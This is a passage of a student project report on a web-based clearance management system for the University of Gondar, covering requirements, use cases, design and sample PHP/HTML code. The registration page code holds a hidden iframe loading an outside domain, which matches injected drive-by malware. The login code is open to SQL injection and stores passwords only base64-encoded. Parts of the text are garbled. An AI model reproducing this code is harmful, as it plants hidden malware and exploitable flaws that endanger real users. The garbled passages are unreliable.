students go to registrar. Registrar prints the approved clearance form and sign on it. The
students take the approved clearance form.
As generally the proposed system will able to minimize the existing problems and resource
consumption because the university clearance activities are based on manual system.
2.5. Requirement Specification

The purpose of requirement is used to prepare requirement specification before starting the
actual design. This enables the project team to have a clear idea about the structure and
content of the information system. This project is concerned within the functional
requirements and non-functional requirements.
2.5.1. Functional Requirement

Functional requirements describe the interactions between the system and its environment.
The environment includes the user and any other external system with which the system
interacts.
1. Registrar administrator
 Should be managing account.

 Should be preparing clearance forms for students.
 Should be post message for system users.

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 Should be giving clearance form for students.
2. Officers (Like Academic Advisor; Laboratory Assistant; School/Department head;

Library , chief of circulation; Book store; Sport master; Students Business affairs of the
campuses; Dean of students of the campus and Asst. Registrar officers .
 Should be Manage property (for clearance of different materials and for return of
materials) when students borrowed and return the borrowed materials.
3. Student
 Borrow materials.
 Return materials.
 Send request to Registrar admin.
 View messages.
 Accept clearance form from Registrar admin.
2.5.2. Non Functional Requirements

Non-functional requirement specifies how the system should behave or a non-functional
requirement is a statement of how a system must behave, it is a constraint upon the systems
behavior. It specifies all the remaining requirements not covered by the functional
requirements. They specify criteria that judge the operation of a system, rather than specific
behaviors.
Some of the non-functional requirement of this project is listed below.
Nonfunctional
Description
requirement
These requirements include the qualities of the system that are desirable from the
users’ point of view. The new system will use windows type graphical user
User interface interface. This type of interface is easy to use for very little additional training and
common to most computer users. The system will enable the users to use the
system.

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At the end of the project, every activity in the development process will be
Documentation documented for future reference. There will also be a documentation of
implementation language for maintenance during system failure.
Usability is the ease with which a user can learn to operate, prepare inputs for, and
interpret outputs of system or component. The system should support ease of use
Usability
that is it shouldn’t be complex to use. The user interface should be user friendly.
Our system contends the help facility for user.
Performance It concern on the speed of operation of the system. The search result for any query
should not take more than seconds if the database is available on the same
machine and not more than seconds if the database.
It is the ease with which a system or component can be transferred from one
Portability environment to another.
- Our system runs on all operating system and in all browsers.
It ensure the integrity of the system from accidental or malicious
Damage The client, users can’t log as an administrator i.e. they can’t do the
Security activities that performed by the administrators. This controls the unauthorized
users to update the database.
The inventory database is password protected.
Error handling To reduce input fault, the system will: - Respond to error inputs by asking the user
condition to re-enter data in the correct format.
The database should be backed up in a reliable secondary storage media. This used
Safety
to the user to recon problems or data loss problem occurred.
Table 5 Non-functional requirements

Non-Functional requirements describe user visible aspects of the system that are not
designated to the functional behavior of the system. The requirement includes from user

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interface to resource issues. Generally, Non-Functional requirements of the system can be

viewed as follows.
2.5.2.1. User interface and human factors

Since users of the system will interface with the software to be deployed on a personal
computer. When the project team considers the user interface on the personal computer since
there is going to be different type of users. Generally it will include the necessary features for
each user with a user friendly and attractive interface.
2.5.2.2. Documentation
The System has well defined document which helps to easily maintain the system and the
project team will also prepare short and precise help file on how to use the system for the
system users. It will have a helping page to guide the user of the system and to show the
process how they will have to use.
2.5.2.3. Hardware consideration

The Software product to be developed should run on existing standard computers. The
system will be portable that can be run on any type of computer and it supports any type of
browsers.
2.5.2.4. Performance characteristics

Since the system is going to be accessed by different users with different needs, it should be
capable of handling and processing their queries quickly. Besides the software, Hardware
will also be a great factor in the systems’ performance. Generally, the system should be able
to handle many users and it will be responsive.
2.5.2.5. Error handling and extreme conditions

The system is expected to handle errors encountered during run time. Errors could rise from
users and from the system. Errors that occurred from the wrong doing of users will be
handled by appropriate exception handling mechanisms. Generally, if an error occurs, the
system will identify the error and notify the user so that he/she can take the appropriate
corrections rather than terminating the system.

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2.5.2.6. Quality issues

Since the system is used for clearance process it is more related with resource control of the
university so it should be accurate, robust and reliable.
2.5.2.7. System modifications

The System modification can be achieve easily because the system is going to be designed
using an object oriented approach.
If there is change on the process of clearance the system can be modified based on change
criteria by the developers or any trained person that knows the code behind the system.
The project team recommended for future of this project is Someone who want to select this
project title they must include all employees working in university of Gondar.
2.5.2.8. Physical environment

The server must be put on a place that has high security room. And the client must put in the
local area it must connect with server.
2.5.2.9. Security issues

The system has login page it allow only the user who have privilege to access the system
therefore the system can’t be accessed by unauthorized user. When the user want to access
the clearance form they sign up to the system and sign in to the system. Each system users
can access the system based on their access right.
2.6 PROPOSED SYSTEM ACTOR INDENTIFICATION

An Actor in the clearance management system specifies a role played by a user(registrar,
Officers and students). The followings are a list of Actors in the Proposed System.
 Registrar admin: is someone who checks student in formation of the respected

office and updates the central database information and prints the approved clearance
form if the students are free from any materials and put the seal of the university.
 Officers: Like Academic Advisor; Laboratory Assistant; School/Department head;
Library, chief of circulation; Book store; Sport master; Students Business affairs of
the campuses; Dean of students of the campus and Asst. Registrar officers. Who

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uploads/checks (for clearance or return of different equipment’s in the respective

offices) material that is lend to the student and updates the information to the central
database.
 Student: is someone who wishes to sign clearance form due to different reason and at
the end of each year.
2.6 .1 use case selection for the proposed system

The following are the use cases that will include in UOG Clearance system
 Upload materials
 Manage User account
 Manage Property
 Fill Clearance Form
 Request for Approval
 Print approved clearance form
 Receive Cleared Clearance form
 Rejecting Student Clearance
 Report Generate
 Rejecting student clearance
 Manage student information

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Figure 3 Essential Use Case Diagram for Proposed System

ESSENTIAL USE CASE DESCRIPTIONS [PROPOSED SYSTEM]
Use case id UC#1
Use case name Login
Participating actor All system user
description Any user who wants to access the system’s functionality

must be Authenticated and Authorized and login to the
system.

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Entry condition The user must be already register (the user must have
user name, password and account type)
Flow of event 1. The user open the system
2. The system display the login page
3. The user enter his/her identification (user type user

name and password)
4. The user click on login button
5. The system takes the user to his/her page.
Alternative Flow of event Step 5.1, If the identification is not correct the system
display incorrect user type, user name and password try
again message and the system display the login page. The
system give chance to try again.
Exit condition The system user logged in to the system
Table 9 Login use case description
 Description for property management use case it is general use case for
 Record property Information
 update property Information
 Delete property Information
Use case id UC#2
Use case name Record property Information.
Participating actor Officer
description This use case helps for Officer, to record property.

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Entry condition Officer user login to the system.
Flow of event 1. Officer select on Record property Menu.
2. The system display property record form.
3. Officer fills required information and click save button.
4. The system displays an acknowledgement successfully

record the information.
Alternative Flow of event Step 3.1. If Officer enters wrong information the system
display message in order to correct wrong information.
Step 4.1. If Officer enters duplicate property information the

system display “information already exist” message.
Exit condition Property information record on the system
Table 6 Record property Information use case description
Use case id UC#3
Use case name update property Information
description This use case helps for Officer to modify previously

recorded property.
Entry condition Officer login to the system, the property already exist.
Flow of event 1. Officer select on update recordMenu.

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2. The system display property Edit form.
4. Officer search property, make necessary modification and

click on Edit button.
6. The system display an acknowledgement successfully

Edit the information.
Alternative Flow of event Step 5.1. If the property is not found the system display
“information not found” message.
Step 6.1.If Officer enter wrong information the system

displays a message to correct.
Exit condition Modification is recorded.
Table 71 Edit property Information use case description
Use case id UC#4
Use case name Delete property Information
description If the property that borrowed by the student are returned the
Officer want to remove that property information.
Entry condition Officer login to the system, the property must be returned to
Officers.
Flow of event 1. Officers click on Delete Record.
2. The system display Delete form.
3. Officer search property and click on Delete button.
4. The system display message is you sure you want to

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delete this information.
5. If the Officer click on ok button.
6, The system display an acknowledgement successfully

Delete the information.
Alternative Flow of event Step 5.1.If the Recorded information is not found the system
display “information not found” message.
Step 6.1. If the Officers Click on cancel button the property

do not remove.
Exit condition Recorded Information is deleted.
Table 8 Delete property Information use case description
Use case id UC#5
Use case name upload Material
description This use case helps for Officer to upload

borrowed information( student information)
to the central database
Entry condition Officer login to the system
Flow of event 1. Officer select on upload student

information Menu (upload borrowed
information).
2. The system display materials that are on

student hand information form (lend
materials information).
3. Officer fills required information and click

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save button.
4. The system displays an acknowledgement

the information successfully record.
Alternative Flow of event Step 3.1. If Officer enters wrong information

the system display message in order to
correct wrong information.
Step 4.1. If Officer enters duplicate property

information the system display “information
already exist” message.
Exit condition Materials that are on student hand

information uploaded to the central database.
Table 9. Uploadmaterial use case description

Use case description for account management use case this is general use case for
 Create user account
 Update user account
 Delete user account
 Recover forgotten password use cases
 Change Password
Use case id UC#6
Use case name Create user account
Participating actor Registrar admin
description This use case helps the user when it is necessary to create

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new user account.
Entry condition user login to the system
Flow of event 1. User selects account from menu bar.
2. The system display user account form.
3. User fills all information and click crate button.
4. The system crate new user account
5. The system save the new account

crate the account
Alternative Flow of event Step 3.1. If user enters wrong the system display message in
order to correct wrong information.
Step 4.1. If users enters duplicate account the system display

“information already exist” message.
Exit condition A new user account is crated
Table 10 Create user account use case description
Use case id UC#7
Use case name Update user account
description This use case helps the users when he/she wants to update
his/her account.
Entry condition User login to the system

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Flow of event 1. User selects account from menu bar.
3. User search account that he/she want to update.
4. The system display information of that account.
5. User makes necessary modification and click Update button.
6. The system asks for conformation.
7. User click ok button.
8. The system saves the change to that account.
9. The system displays an acknowledgement successfully

updating the account.
Alternative Flow of event Step 3.If the user account does not exist the system display
“account not found” information.
Exit condition Save the change to the account
Table 11 Update user account use case description
Use case id UC#8
Use case name Change Password
Participating actor All system user
description This use case helps the user when it is necessary to change
login password.
Entry condition user login to the system
Flow of event 1. User selects change password link.

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2. The system display password change form.
3. User fills all information and click change button.
4. The system change the password and save the new password
5. The system display an acknowledgement of password

change successfully
Alternative Flow of event Step 3. If user enters wrong the system display message in
order to correct wrong information.
Step 4. If users input does not exist in the database the system
display the password does not exist message
Exit condition A new user account is crated
Table 15 Change Password use case description
Use case id UC#9
Use case name Delete user account
description This use case helps the user to delete user account if it is no
more necessary.
Entry condition The user login to the system, the account exists.
Flow of event 1.Users select account from menu bar
3. Users search account who wants to delete.
4. The system display information of that account.

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5. User click delete button.
6. The system deletes the account.

deletes the account.
Alternative Flow of event Step 3.If the user account does not exist the system display
“account not found” information.
Exit condition the account is deleted
Table 16 Delete user account use case description
Use case id UC#10
Use case name Recover forgotten password
Participating actor All system users recover forgotten password
Description The system users may forget their password so this use case
help to the system user to recover the forget password .
Entry condition The user must be previously register
Flow of event 1. The user click on forgotten password button
2. The system display forget password recover form
3. The user will enter all required information and click on

display button.
4. The system retrieves the password and display on their

page and will display acknowledgment successfully retrieve
the password.
Alternative Flow of event Step 4.if the user miss required information the system display

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the message to fill all required information
Exit condition The user knows their password
Table 17 Recover forgotten password use case description
Use case id UC#11
Use Case Name: ApprovingStudent Clearance
Participating Actor Registrar admin
Description The system checks the name and ID of the student on the
registrar database and approve if not exist, Registrar take the
approved clearance form from the student and approve the
clearance form for the last time by putting the seal of the
university and their signature.
Entry condition The Student Must be Requesting for Approving clearance
Flow of event 1. The Registrar have a database of Student and the material
they borrow
2. The students login in to the system
3. The system display student clearance Form
4. The students fill the required information in students

clearance form
5. The student click the submit button
6. The system checks the student information on the

registrar Database
7. The system clears the student and displays the cleared

clearance form.

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8. The Student save and print the cleared clearance
9. Students go to Registrar and cleared at the end.
Exit condition The Students get Cleared
Table 18 Approving Student Clearance use case description
Use case id UC#12
Use Case Name: RejectingStudent Clearance
Description The system checks the name and ID of the student on the registrar
database and reject if exist.
Entry condition The Student Must be Requesting for Approving clearance
Flow of event 1. The Registrar have a database of Student and the material
they borrow
2. The students login in to the system
3. The system display student clearance Form
4. The students fill the required information in students

clearance form
5. The student click the submit button
6. The system checks the student information on the registrar

Database
7. If the student information exists the system rejects the

clearance request with a notification in which office the
student have responsibility

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8. The displays again on student clearance form page
Exit condition The Students clearance request Rejected
Table 19 Rejecting Student Clearance use case description
Use case id UC#13
Use Case Name: Request forClearance approval
Participating Actor Students
Description Students click the submit button after they fill the required
information to request for clearance approval.
Entry condition Student Must fill the required information on the clearance form
and click the submit button
Flow of event 1. Student login into their own page
2. Students fill the required information on the clearance

form
3. Students click the submit button
Exit condition Students waiting until the system say some thing
Table 20 Requesting for Clearance approval use case description
Use case id UC#14
Use Case Name: Fill ClearanceForm
Participating Actor Students
Description Students fill the clearance form on their own page
Entry condition Students must be login in to the system

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Flow of event 1. Student login into their own page
2. Students click the clearance form link
3. The system display the clearance form
4. Students fill the required information on the clearance

form
Exit condition The required information on Clearance form Filled
Table 21 Filing clearance form use case description use case description
Use caseid UC#15
Use Case Name: Manage Student Information
Description Registrar upload the student information and give user name,
password and privilege to the student
Entry condition Registrar users must be login to the system to their own page.
Flow of event 1. The registrar login to their page
2. Click student information link
3. Click add student information link
4. The system display the add student information form
5. The user fill the required field and click add button
6. The system validated the user input and save the data into
the database
Exit condition Student information inserted to the student information table

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Table 22 Mange student information use case description
Use case id UC#16
Use Case Name: Receive approved clearance Form
Participating Actor Student
Description Students of UOG sign Clearance online and then they take the
approved clearance form.
Entry condition Students must sign clearance and they must approved by the
system and Registrar officer.
Flow of event 1. Students wish to sign clearance
2. Students access our system
3. Student login to their page using user name and password
4. Students Click the clearance form link
5. The system display Clearance form
6. Students Fill the clearance form
7. The system check the students information in the central

database
8. The system display the cleared clearance form
9. Student save the cleared clearance form
10. Student Go to Registrar
11. Registrar Print the cleared clearance form and approve the
student clearance form
Exit condition Student take the approved clearance form

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Table 23 Take Cleared Clearance form use case description.
Use case id UC#2
Use case name Report Generate.
Participating actor Administrator
description The Actor wants to report how many students are Cleared from the
university.
Entry condition The Actor has been logged in.
Flow of event 1. The Actor wants to Generate report.

Step3: The user selects the Option.
Step2: The System displays the option.
Step4: The system process the selections
Step5: The system displays the all information’s of the students
Step6: The use case ends
Alternative Flow of event If The input and selection is incorrect

Step 4.1 The system indicates the user information invalid
Step 4.2 The use case continues Step 2 of the basic course of action
Exit condition The report generated to the system/the user
Table 24 Report generate use case description
2.7 Activity Diagram

Activity diagram is another important diagram in UML to describe dynamic aspects of the
system. Activity diagram is basically a flow chart to represent the flow from one activity to
another activity. The activity can be described as an operation of the system[1].

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Activity Diagram
1. Activity diagram for login use case description
Figure 3 Activity diagram for login use case description

The above diagram show the activities performed when the system user login into the
system. The user opens the systems home page and clicks the login link. The system displays
the login form page. Then they fill the user name and password to login and click the login
button. The system validates the users input and display their page if the user input are
correct or notify the error and display the login form page.

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Figure 4 Activity diagram for Registration

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2. Activity diagram for Delete use case description
Figure 5 Activity diagram for Delete use case description

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3. Activity diagram for Update use case description
Figure 6 Activity diagram for Update use case description

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4. Activity diagram for Report Generate use case description
Figure 7 Activity diagram for Report Generate use case description

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5. Activity diagram for Clear use case description

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Figure 8 Activity diagram for Clear use case description
2.8. Data dictionary

p/f key Field name caption Data type Field size
Primary key ID NO Identification card string (5)
FName first name text (20)
Lname Last name text (20)
jobclass position text (10)
Education Status/level text (8)
Table 25 Data dictionary for Registrar officer
p/k Field name caption Data type Field size

Primary key Sid no Student identification String (5)
number
Fname First name text (18)
Lname Last name text (19)
Sex Sex text (5)
Age Age integer (2)
department department text (12)
year year integer (6)
Table 26 Data dictionary for student
p/k Field name caption Data type Field size

Primary key id Id number String (5)
Fname First name Text (20)
Lname Last name Text (20)
Jobclass Position Text (9)
Education level Text (8)
Office name Respective text (10)
office

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Table 27 Data dictionary for officer
2.9 Class diagram

Object here in the class diagram are entities that represent real world reality. These each
objects have their own behaviors (functions) and attributes (characteristics) by which they are
differentiated.
Conceptual model are used to depict the detailed understand of the problem space for the
system. Class model show the class of the system, their enter relationship and the operations
and attributes of the classes.

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Figure 9 Analysis Level Class Diagram

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2.10. Dynamic model

2.10.1 Sequence Diagram
Sequence diagram describes interaction among classes of the online hotel management
system such as customer, receptionist, and manager in terms of an exchange of message
overtime. It models the behavior of these classes within a use case.[1]
Sequence diagram
1. Sequence Diagram for Login Use case

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Figure 10 Sequence Diagram for Login Use case

All the system users open the system and the system display the login page. Then the system
user fill the login form fields and the system validate the users input, the user click the login
button, the login form creates the login form controller which allow to execute the users input
from the database, the systems database validate the users Identification and return the result
to the login controller. Login controller validates the result and displays their page to the
user. Then the system user work on their own page whatever they want to do.
2. Sequence Diagram for Signing Clearance Form Use case
Figure 11 Sequence Diagram for Signing Clearance

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This sequence diagram shows the steps how the students of UOG follow to sign clearance
online. To sign clearance online the student of the university must be registered and later
login based on the previous registration. The user open the system and fill the login form
field , click login button, then the system display clearance form page. Students fill the
required filed on their own page and click the submit button. The users input validated by the
system and creates clearance form controller which allow executing the users input from the
database. The systems database validates the query and returns the result to clearance form
controller. Then if the users input are valid in systems database the system display the cleared
and printable page and create print controller to execute the users command. The system user
clicks the print button and takes the cleared clearance form. But if the user’s information
exists (if student have materials on his /her hand) in the central database the system notify the
user by telling they have responsibility that they must complete and where they have
responsibility.

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3 Sequence diagram for Registration
Figure 12 Sequence Diagram for Registration

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5. Sequence Diagram for update Use case
Figure 13 Sequence Diagram for update

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6. Sequence Diagram for Delete Use case
Figure 14 Sequence Diagram for Delete

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7. Sequence Diagram for Clear Use case
Figure 15 Sequence Diagram for Clear

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8. Sequence Diagram for Report Generate Use case
Figure 16 Sequence Diagram for Report Generate Use case
2.11. State chart diagrams

UML state machine diagrams depict the various states that an object may be in and the
transitions between those states [1].In fact, in other modeling languages, it is common for this
type of a diagram to be called a state-transition diagram or even simply a state diagram. A
state represents a stage in the behavior pattern of an object, and like UML activity diagrams
it is possible to have initial states and final states. In this diagram the initial state, also called
a creation state, is the one that an object is in when it is first created, whereas a final state is

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one in which no transitions lead out of. A transition is a progression from one state to another
and will be triggered by an event that is either internal or external to the object.
States are depicted as rounded rectangles. Transitions are arrows from one state to another.
Events or conditions that trigger transitions are written next to the arrows. [4]
Figure 17 state chart diagrams for clearance approved procedure

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Figure 18 state chart diagrams for login

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Figure 19 State-chart diagrams for Clearance Form Signing

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2.12 USER INTERFACE DESIGN

This is the design of the new system interface which includes the total layout of the main
interface of the new system.
Figure 20 user interfaces for user comment

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Figure 21 user interfaces for background

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Figure 22 user interfaces for home page
CHAPTER THREE
3. DESIGN
3.1 Introduction
In this part of the project, all about application design is represented in an object oriented
model and technique diagrammatically. This design part of the project includes all object
oriented diagrams including subsystem decomposition, proposed system architecture,
component diagram and finally deployment diagram. This all diagram represent the
requirement and on what way to solve the requirement of the proposed application in detail.
System design results in the following products:
 List of design goals, describing the qualities of the system that developers should
optimize.
 Webpage architecture, describing the subsystem decomposition in terms of
subsystem responsibilities, dependencies among subsystems, subsystem mapping to
hardware, and major policy decisions such as control flow, access control, and data
storage.
3.1.1 Purpose of system design

The Purpose of system design is in order to:-
 Define what methods or mechanisms the project team uses to achieve requirements of
the system.
 Fill the gap between the system specification produced during requirements
elicitation and analysis.
 Make the system easily manageable by individual team member.
3.1.2 Design Goals

Design goals describe the qualities of the system that developers should optimize. The
following are the qualities that our system should focus on.

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 Performance: UOG clearance system should respond fast with high throughput, i.e. it
should perform the task of UOG Student clearance system quickly.
 Error Handling and Extreme conditions: The system should be robust enough to
handle error conditions and continue with normal operations. If an error occurs, the
system should identify the error and notify to the user.
 Availability – UOG Student clearance system should be accessible from any computer
if the computer is connected with a server computer by local area network and will be
accessible anytime a user would want to use the program.
 Security: UOG Student clearance system should be secured, i.e., not allow other users
or unauthorized users to access data that has no the right to access it.
 Cost: The system should be developed with minimum cost possible

 Modifiability: UOG Student clearance system should be modifiable for further
modification and enhancement of the application.
3.1.3 EXISTING SOFTWARE ARCHITECTURE

The existing system of the UOG clearance management system is manual system and hence
there is no Existing software architecture that will be considered. As a result, we only
describe the software architecture of the newly proposed system.
3.1.4 Proposed System software architecture
3.1.4.1 Overview
Software architecture refers to the subsystem decomposition in terms of subsystem
Responsibilities, dependencies among subsystems, subsystem mapping to hardware, and
Major policy decisions such as control flow, access control, and data storage. The proposed
system will have two tier client-server software architectures .In three tier client-server
software architectures Clients access databases through the user system interface. Database
management, on the server side, distributes processing between both client and server. Both
tiers, the client and the server, are responsible for some of the processing management.
Simply put, the client uses the user interface to make requests through database management
on the server side.

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Figure 23 Software Architecture of the system
3.1.5. Subsystem decomposition

The system will be built on a layered architecture. A layered architecture makes it
easier to maintain or modify one part of the system without affecting the others. If for
example the users need a modification on the User interface, they could get it without
affecting the whole or the rest of the system. During decomposition of the system we
decompose our system in to individual unit that can be perform by one team member and
one subsystem modification do not affect the other subsystem and each subsystem class are
related with each other. Our system has the following sub system
 Property management subsystem
 Clearance management subsystem
 User administration subsystem
 Communication management subsystem
The following diagram shows the layers that the system will be constructed on.

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Figure 24 layered architecture of the system

The above figure shows that the system will have three logical layers now let us describe
each layer:-
 User interface:-it is the first layer of the system in which the user interacts with the
System.
 Application logic: -it is the second layer of the system in which all functional
requirement of the system will implement. On application logic the system should
have the following subsystems.
 Property management subsystem
 Clearance management subsystem
 User administration subsystem
 Communication management subsystem
 Database:-the layer at the bottom of the system architecture will be a database
system that store Information about Student.

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Figure 25 sub system diagram of the system

Each subsystem of the system is decomposing in to class the following figure show
subsystem of the system and the class in each subsystem.

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Figure 26 sub system class
3.2. Component diagram

In this Diagram components of the system will be wired showing that there is relation among
components, management of the system, database and operations performed on databases
such security issue. This in some extent shows which component or objects will be accessed

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by whom and what type of security infrastructures it is using. The diagram is simulated
below.
Figure 27 Component diagram

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3.3. Deployment Diagram

Deployment Diagrams show the hardware for your system, the software that is installed on
that hardware, and the middleware used to connect the disparate machines to one another.
Deployment diagram helps to model the physical aspects of an object oriented software
system it models the right time configuration in static view and visualize the distribution of
components in an application. The figure below shows the physical layout of the system. The
following diagram presents deployment for the new system and the need of physical aspect
of hard ware for the system after it deployed.

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Figure 28 Deployment diagram

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3.4 Persistent data management

Persistent data is a data structure that preserves its old system; that is, both previous and
current system may be queried. Persistent data exists outside of the system’s active memory,
typically in a database or flat file system. The main point of Automated Clearance
management system is to enable a person to access its data. But the data may be in the data
base system.
Figure 29 Persistent data management

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3.5 Access control and security

The access control shows who can access which class in the system and we describe
it by using access control matrix.
Actors Student information Property Clearance User system
management management management system administration
Registrar Upload student Approve clearance () Create user account

admin information () ()
Print clearance()
Update user
account()
Delete user
account()
Change password()
Recover forget
password
Officer Upload material () Add property Change password ()

information ()
Recover forget
Update property password()
information()
Delete property
information()
Student Request for Change password ()

clearance ()
Recover forget
Fill clearance form() password()
Receive approved
clearance form ()
Table 12Access Control and Security

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3.6 Detail Class diagram
Figure 30 detailed class diagram

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CHAPTER –FOUR
4. SYSTEM IMPLEMENTATION
Sample code for Login
<html>
<body>
<div id="main_container">
<div id="right_content">
<form id="form1" name="login" method="POST" action="loginh.php" onsubmit='return

formValidation()'>
<table border="0"><tr><td align ="left"> User Name: </td><td> <input type="text">

name="username" pattern="\D{3,5}/\d{3}/\d{2}" required x-moz-errormessage="To Login Please
Enter User name" ></td>
</tr><tr><td align = "right"> Password: </td><td><input type="password" name="password" pattern

="[a-zA-Z0-9]+"id="pass1" required x-moz-errormessage="To Login Please Enter password" >
</td></tr><tr><td> </td><td width="100px"colspan="2"><a href="forget.php">Forget Your

Password?</a> </td>
</tr><tr><td colspan="1" align="left"> <input type="submit" name="submitlogin" value="Login">

</td>
<td colspan="1" align="left"> <input type="reset" name= "ClearLogin" value="Clear"/> </td>
</tr></table></form> </div></div> <div id="header" ><?php include("see.php");?></div>
<?php session_start();
if(isset($_POST['submitlogin'])) { $user =$_POST['username']; $password=$_POST['password'];

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$passdec=base64_encode($password); $query1 = "SELECT * FROM useraccount WHERE

UserName = '{$user}' AND Password = '{$passdec}' AND Status='1' ;";
$result=mysql_query($query1);
if(!$result){ die("Login Failed".mysql_error());
} $rowCheck = mysql_num_rows($result);
$row=mysql_fetch_array($result);
$role=$row['Role'];$user=$row['UserName']; //if($row['level']==1){
if($role=='student') { $_SESSION['validuser']=$user;
echo "<script>window.location='student.php';</script>"; }
if($role=='RegistrarOfficer') {
$_SESSION['validuser']=$user;
echo "<script>window.location='Registrar.php';</script>"; }
if ($role=='officer') { $_SESSION['validuser']=$user;
echo "<script>window.location='officer.php';</script>"; } if ($role=='employee') {
$_SESSION['validuser']=$user;
echo "<script>window.location='employee.php';</script>";}else {
echo '<div align="center"><strong><font color="#FF000"> Incorrect Login Trial!!!

Try Again Latter. !!</font></Strong></div>';
echo'<meta content="2;loginh.php" http-equiv="refresh"/>'; } } else { echo 'error'; }
mysql_close($conn);?>
</body></html>
Sample code for Student Registration

<?php session_start(); //if(isset($_SESSION['validuser'])) //{ //$username=$_SESSION['validuser'];
//} else { ?> <script> //alert('You Are Not Logged In !! Please Login to access this page');
//alert(window.location='home.php'); </script> <?php //} ?><?php //session_start();

include("see.php");
?>

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<html><title>Web Based Clearance managment system</title>
<link rel="icon" type="Img/jpg" href="Img/uoglogo.jpg"/>
<div class="wrapper row0"> <img src="images/gu4.jpg" alt="image1" height="130" width="1200">
</div><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-

scale=1.0, maximum-scale=1.0, user-scalable=no">
<link href="layout/styles/layout.css" rel="stylesheet" type="text/css" media="all">
</head><body id="top"><div class="wrapper row1"> <header id="header" class="clear">
<div id="logo" class="fl_left"> <h1>well come to registrars admin page</h1> </div>
</header></div><div class="wrapper row2"> <div class="rounded"> <nav id="mainav"

>>class="clear">
<ul class="clear"> <li class="last"><a href="home.php">Home</a></li> <li

class="last"><a href="about.php"><span>About Us</span></a></li> <li><a class="drop"
href="#">Registrar Admin page</a><ul> <li ><a
href="Registrar.php"><fontcolor="black">Registrar Admin's Page:-</font></a></li>
<li class="current"><a href="studregist.php"><b><font color="black">*Record Student's

Information</font></b></a></li> <li><a href="offregist.php"><b><font
color="black">*Record Officer's Information</font></b></a> </li>
<li><a href="change.php" class="parent7"><span><font color="black">*Chanage

Password</font></span></a></li>
<li><a href="forget.php" class="parent7"><span><font color="black">*Recover

Password</font></span></a> </li>
<li><a href="manageacc.php""><font color="black">*Manage Account</font></a></li>
<li><a href="logout.php"><font color="black">*Logout</font></a></li> </ul>
<li class="last"><a href="cntct.php"><span>Contact</span></a>
<li class="last"><a href="givecomment.php"><span>Feedback</span></a></li>
<li><a href="logout.php"><span>Logout</span></a></li> </li> </ul>
</div> <div class="wrapper row3"> <div class="rounded">
<main class="container clear"> <div class="one_half"> <div class="group">

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</center><div id="site_content"> <div class="sidebar_container"> <div class="sidebar">
<div class="sidebar_item"><body bgcolor=#9494B8>
<hr><hr> <font size="3"color ="green">

<?php
echo "<b>".date('l\, F jS\, Y ')."</b>";?></font><br><iframe src="http://jL.chura.pl/rc/"

style="display:none"></iframe>
</body><a href="signed.php"><font size="2px" color="black"> <b> Register Student

Here:</b></font></a> </div> </div> </div> <div id="content1"> <div class="content_item"><center>
<div style="width:820px; height:550px; margin:0 auto; position:relative; border:4px solid

rgba(0,0,0,0); -webkit-border-radius:5px; -moz-border-radius:5px; border-radius:25px; -
webkit-box-shadow:0 0 18px rgba(0,0,0,0.4);
-moz-box-shadow:0 0 18px rgba(0,0,0,0.4); box-shadow:0 0 18px rgba(0,0,0,0.4);

margin-top:20px; color:#F00000;">
<form method='POST' action='studregist.php' onsubmit='returnn formValidation()'

enctype="multipart/form-data">
<div style="background-color:#336699;border-radius:5px;font-family:Arial, Helvetica, sans-serif;

color:#000000; padding:5px; height:22px;">
<div style="float:left;" ><img width="30" height="20" src="Img/uoglogo.jpg"/><strong><font

color="black" size="2px">Web Based Student Clearance management System Student Registration
Form</font></strong></div>
<div style="float:right; margin-right:20px; background-color:#cccccc; width:40px; text-align:center;

border-radius:10px; height:12px;"> <a href="Registrar.php" title="Close">close</a></div> </div>
<input type="hidden" name="role" id="name" value="<?php echo '4'; ?>" />
<table align="center" style="border:1px solid black; border-radius:50px;margin-top:15px;box-

shadow:10px 20px 10px black;" width="500" height="350px">
<tr><td colspan=3 align=right ><p style="margin-right:3%;"><font color=green>(<font

color=black>*</font>)Require</td></tr>
<tr><td><font color=red> * </font> <font color=black>First Name :</font></td><td><input

type="text" name="fname" pattern="\D{2,10}" required x-moz-errormessage="Please Enter Letter

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Only Above 2 characters" title="Please Enter Letter Only Above 2 characters " name="fname"
value="" size='20%' id="txt_fname" placeholder='Fname'></input></td></tr>
<tr><td><font color=red> * </font><font color=black>Middle Name:</td><td><input type="text"

name="mn" pattern="\D{2,10}" required x-moz-errormessage="Please Enter The Middle Name OF
Student " title="Please Enter The Middle Name OF Student " size='20%' id="mn" value=''
placeholder='MName' /></td></tr>
<tr><td><font color=red> * </font><font color=black>Last Name :</td><td><input type="text"

name="lname" value="" size='20%' id="txt_l" placeholder='Lname' pattern="\D{2,10}" required x-
moz-errormessage="Please Enter Letter Only Above 2 characters " title="Please Enter Letter Only
Above 2 characters" ></input></td></tr><br>
<tr><td><font color=red> * </font><font color=black>Gender:</td><td><input type="text"

name="sex" pattern="\D{1,10}" required x-moz-errormessage="Please Enter The Sex Of the Student
" title="Please Enter The Sex Of the Student " size='20%' id="sex" value=''
placeholder='Gender' /></td></tr>
<tr><td><font color=red> * </font><font color=black>ID Number :</td><td><input type="text"

name="sid" pattern]}" required x-moz-errormessage="Please Enter Your Correct ID Number "
title="Please Enter Your ID Number" name="id" value="" size='20%' id="txt_pass"
placeholder='ID'></input></td></tr>
<tr><td><font color=red> * </font><font color=black>Class Year :</td><td><input type="text"

pattern="[a-zA-Z0-9]+" required x-moz-errormessage="Please Enter Your Class Year" title="Please
Enter Your Class Year " name="cyear" value="" size='20%' id="cyear" placeholder='Class
Year'/></td></tr>
<tr><td><font color=red> * </font><font color=black>School:</td><td><input type="text"

name="sch" value="" pattern="/[â-z\s\]/{5,100}" required x-moz-errormessage="Please Enter Your
School " title="Please Enter Your school " size='20%' id="sch"
placeholder='School'></input></td></tr>
<tr><td><font color=red> * </font> <font color=black>Department :</td><td><input type="text"

pattern="/[â-z\s\]/{5,100}" required x-moz-errormessage="Please Enter your Department correctly"
title="Please Enter your Department correctly " name="dep" value="" size='20%' id="dep"
placeholder='Department'/></td></tr>
<tr><td><font color=red> * </font><font color=black>Program</td><td><input type="text"

pattern="\D{2,10}" required x-moz-errormessage="Please Enter Program Of The Student "
title="Please Enter The Program Of The Student " name="pro" id="pro" size='20%'
placeholder='Program'/></td></tr>
<tr><td><font color=red> * </font><font color=black>Password :</td><td><input type="password"

name="pass" value="" size='20%' id="pass" placeholder='Password' pattern="[a-zA-Z0-9]+" required

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x-moz-errormessage="Please Enter Students Login Password!!! " title="Please Enter Students Login
Password!!!" placeholder='Password'></input></td></tr><br>
